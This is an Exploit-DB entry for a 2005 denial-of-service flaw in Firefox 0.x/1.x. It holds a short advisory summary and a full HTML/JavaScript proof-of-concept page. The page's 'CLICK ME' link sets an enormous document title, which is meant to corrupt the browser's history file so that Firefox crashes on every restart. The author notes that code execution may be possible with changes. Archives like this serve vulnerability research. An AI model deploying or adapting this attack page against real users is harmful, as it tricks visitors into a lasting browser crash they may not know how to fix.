Mozilla Firefox 0.x/1.x - Large History File Buffer Overflow

EDB-ID:

26762


Author:

ZIPLOCK

Type:

dos


Platform:

Multiple

Date:

2005-12-08


source: https://www.securityfocus.com/bid/15773/info

Mozilla Firefox is reportedly prone to a remote denial-of-service vulnerability.

This issue presents itself when the browser handles a large entry in the 'history.dat' file. An attacker may trigger this issue by enticing a user to visit a malicious website and by supplying excessive data to be stored in the affected file.

This may cause a denial-of-service condition.

**UPDATE: Proof-of-concept exploit code has been published. The author of the code attributes the crash to a buffer-overflow condition. Symantec has not reproduced the alleged flaw. 

<!-- Firefox 1.5 buffer overflow

Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.

this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.

Tested with Firefox 1.5 on Windows XP SP2.

ZIPLOCK <sickbeatz@gmail.com>

-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
	var buffer = "";
	for (var i = 0; i < 5000; i++) {
		buffer += "A";
	}
	var buffer2 = buffer;
	for (i = 0; i < 500; i++) {
		buffer2 += buffer;
	}
	document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>